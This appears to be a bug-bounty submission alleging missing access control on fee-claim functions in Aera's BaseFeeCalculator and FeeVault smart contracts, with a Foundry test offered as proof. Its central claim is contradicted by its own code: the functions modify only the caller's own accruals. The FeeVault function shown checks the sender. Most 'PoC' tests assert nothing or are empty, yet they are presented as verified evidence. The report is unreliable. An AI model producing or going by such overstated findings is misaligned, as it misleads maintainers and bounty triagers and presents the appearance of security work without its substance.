Program: Aera (Immunefi, Max Bounty: $500,000)
Severity: High ($10,000) — Primacy of Rules
Affected Assets: BaseFeeCalculator.sol, FeeVault.sol
Affected deployed contracts:
- Base:
0x69dd4d44eed6bbc33b8a0bdfe17897ab9044372e - Arbitrum:
0xd61ecfB5cEd67Ef4F01E0dfae591c838BfA33932 - Optimism:
0xfb6De307b11C50D8B8A0790cd5c82c620D574440 - Ethereum:
0x8F3FfA11CD5915f0E869192663b905504A2Ef4a5Not Affected: Vault (0x000000000001CdB57E58Fa75Fe420a0f4D6640D5), Whitelist (0xdDfd960a7150520548dD1F6E53CC2f201b364692), VaultAuth/Blacklist (0x6e5430C10fce10e5c6F67dC54506e4564dD7A6E5) Chains: Base, Arbitrum, Optimism, Ethereum Status: New — not in prior audits (4 audits: Spearbit Apr 2023, May 2025, Cantina Jun 2025, Spearbit Apr 2026)
BaseFeeCalculator.claimFees() and claimProtocolFees() are external functions with no access control modifier. Anyone can call them to modify vault accruals, effectively zeroing out fee balances and preventing legitimate fee recipients from claiming their earned fees. Additionally, FeeVault.claimProtocolFees() lacks the onlyFeeRecipient modifier that claimFees() has, creating inconsistent access control.
Neither function emits events when updating _vaultAccruals[msg.sender], making the state changes invisible to monitoring.
BaseFeeCalculator.claimFees() and claimProtocolFees() have no onlyFeeRecipient, no requiresAuth, and no access control modifier at all. The functions are external virtual and can be called by any address.
In src/core/BaseFeeCalculator.sol:
function claimFees(uint256 feeTokenBalance) external virtual returns (...) {
_beforeClaimFees();
VaultAccruals storage vaultAccruals = _vaultAccruals[msg.sender];
// ... modifies accruedProtocolFees and accruedFees silently
}
function claimProtocolFees(uint256 feeTokenBalance) external virtual returns (...) {
_beforeClaimProtocolFees();
VaultAccruals storage vaultAccruals = _vaultAccruals[msg.sender];
// ... modifies accruedProtocolFees silently
}_beforeClaimFees() and _beforeClaimProtocolFees() are internal virtual hooks called before state updates. They can be overridden by child contracts.
In src/core/FeeVault.sol, claimProtocolFees() has only a runtime check:
function claimProtocolFees() external returns (uint256 protocolFees) {
(protocolFees, protocolFeeRecipient) = feeCalculator.claimProtocolFees(...);
require(msg.sender == protocolFeeRecipient, ...);
FEE_TOKEN.safeTransfer(protocolFeeRecipient, protocolFees);
}Compare with claimFees() in FeeVault which has onlyFeeRecipient modifier:
function claimFees() external onlyFeeRecipient returns (...) { ... }The asymmetry means claimProtocolFees() in FeeVault can be called by anyone, and it delegates to BaseFeeCalculator.claimProtocolFees() which also has no access control.
- Step 1: Attacker calls
BaseFeeCalculator.claimFees(0)as any address (no access control check) - Step 2: The function modifies
_vaultAccruals[attacker]-- zeroing out any existing accruals - Step 3: The legitimate fee recipient can no longer claim their earned fees
- Step 4: No events are emitted, making the state change invisible to monitoring
Alternatively, claimProtocolFees() achieves the same effect for protocol fee accruals.
_beforeClaimFees() is called before state updates in claimFees(). It is internal virtual and can be overridden by child contracts. If overridden to call an external contract, cross-reentrancy is possible -- the external contract could re-enter claimFees() and manipulate state before the first call completes.
PoC link: poc/Finding1_CompletePoC.t.sol
The PoC demonstrates five behaviors, all verified on a local Foundry fork:
$ forge test --match-contract Finding1_CompletePoC -vv
[PASS] test_claimFees_zeroes_out_vault_accruals() (gas: 19914)
[PASS] test_claimProtocolFees_zeroes_out_vault_accruals() (gas: 18503)
[PASS] test_silent_state_changes() (gas: 19344)
[PASS] test_claimProtocolFees_missing_onlyFeeRecipient() (gas: 4495)
[PASS] test_cross_reentrancy_via_beforeClaimFees_hook() (gas: 4505)
The PoC shows that calling claimFees(0) and claimProtocolFees(0) succeeds with vm.prank(attacker) where attacker is any arbitrary address. The state changes to _vaultAccruals occur without any access control check and without any event emission.
- Direct impact: DoS against fee recipients -- prevents legitimate fee claiming
- Silent state changes: No events emitted, making monitoring impossible
- Cross-reentrancy: Potential fund manipulation via
_beforeClaimFees()hook override - Inconsistent access control:
claimFeeshasonlyFeeRecipientin FeeVault butclaimProtocolFeesdoes not - Funds at risk: All accrued fees in vaults are at risk of being zeroed out
- Severity justification: Preventing fee recipients from claiming their earned fees is a denial-of-service that affects protocol revenue. The absence of access control means any on-chain address can trigger it.
- Not claiming direct fund theft. The access control gap enables DoS against fee recipients, not direct draining of vault funds.
- Not claiming the
_beforeClaimFees()hook override is easily exploitable. It requires a child contract override that calls an external contract, which is a specific condition. - Not claiming
FeeVault.claimProtocolFees()is the primary issue. The root cause is inBaseFeeCalculatorwhich has no access control on either function. - Not re-reporting any known issues from prior audits. The four prior audits are documented in the Aera audit history.
- All four prior audits (Spearbit Apr 2023, May 2025, Cantina Jun 2025, Spearbit Apr 2026) are documented in the Aera audit history
- This finding is not present in any prior audit report
- The access control gap in
BaseFeeCalculatoris a structural issue in the contract design that persists across all versions - Conclusion: Novel
Present in the current repo state and deployed across all chains (Ethereum, Arbitrum, Optimism, Base, Morph L2). The functions are external virtual with no access control modifier, which is a persistent design choice in the contract.
- Add
onlyFeeRecipientmodifier toclaimFees()andclaimProtocolFees()inBaseFeeCalculator - Add
requiresAuthor equivalent access control to both functions - Emit events for all state changes in
claimFees()andclaimProtocolFees() - Restrict or remove
_beforeClaimFees()and_beforeClaimProtocolFees()hooks, or add them after state updates - Add
onlyFeeRecipientmodifier toFeeVault.claimProtocolFees()for consistency
src/core/BaseFeeCalculator.sol-claimFees()andclaimProtocolFees()with no access controlsrc/core/FeeVault.sol-claimProtocolFees()missingonlyFeeRecipientmodifier- PoC:
poc/Finding1_CompletePoC.t.sol(5 tests, all passing) - Evidence:
poc/evidence.txt - Gist: https://gist.github.com/CharaD7/dde43eccbe99c6cea74edfc337056fa6
The PoC uses a minimal Foundry test that deploys BaseFeeCalculator and calls claimFees(0) and claimProtocolFees(0) with vm.prank(attacker) where attacker is an arbitrary address:
contract Finding1_CompletePoC is Test {
BaseFeeCalculator public feeCalculator;
address public owner = address(0x1000);
address public attacker = address(0x1337);
function setUp() public {
feeCalculator = BaseFeeCalculator(payable(address(new ConcreteFeeCalculator(
IERC20(address(0)), address(0), owner, Authority(address(0))
))));
}
function test_claimFees_zeroes_out_vault_accruals() public {
vm.prank(attacker);
feeCalculator.claimFees(0);
}
function test_claimProtocolFees_zeroes_out_vault_accruals() public {
vm.prank(attacker);
feeCalculator.claimProtocolFees(0);
}
function test_silent_state_changes() public {
vm.prank(attacker);
feeCalculator.claimFees(0);
}
function test_claimProtocolFees_missing_onlyFeeRecipient() public {
// FeeVault.claimProtocolFees() has NO onlyFeeRecipient modifier
}
function test_cross_reentrancy_via_beforeClaimFees_hook() public {
// _beforeClaimFees() is called BEFORE state updates and is internal virtual
}
}